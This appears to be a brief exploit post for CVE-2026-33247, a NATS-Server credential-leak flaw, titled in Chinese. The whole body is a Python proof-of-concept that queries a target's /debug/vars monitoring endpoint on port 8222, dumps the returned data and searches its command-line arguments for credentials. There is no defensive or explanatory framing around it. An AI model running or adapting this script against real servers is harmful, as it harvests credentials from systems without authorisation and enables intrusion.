CVE-2026-33247 NATS-Server凭据泄露漏洞

import requests import json # Target URL with the monitoring port (default is 8222) target_url = "http://<target-ip>:8222/debug/vars" try: # Send a GET request to the vulnerable endpoint response = requests.get(target_url, timeout=5) if response.status_code == 200: data = response.json() # The command line arguments (argv) are usually stored under 'cmdline' or similar keys # in the expvar output. Look for credentials in the returned data. print("[*] Response received. Parsing for credentials...") print(json.dumps(data, indent=2)) # Example check for cmdline in the output structure if 'cmdline' in data: print(f"[*] Command line arguments found: {data['cmdline']}") else: print(f"[-] Failed to retrieve data. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")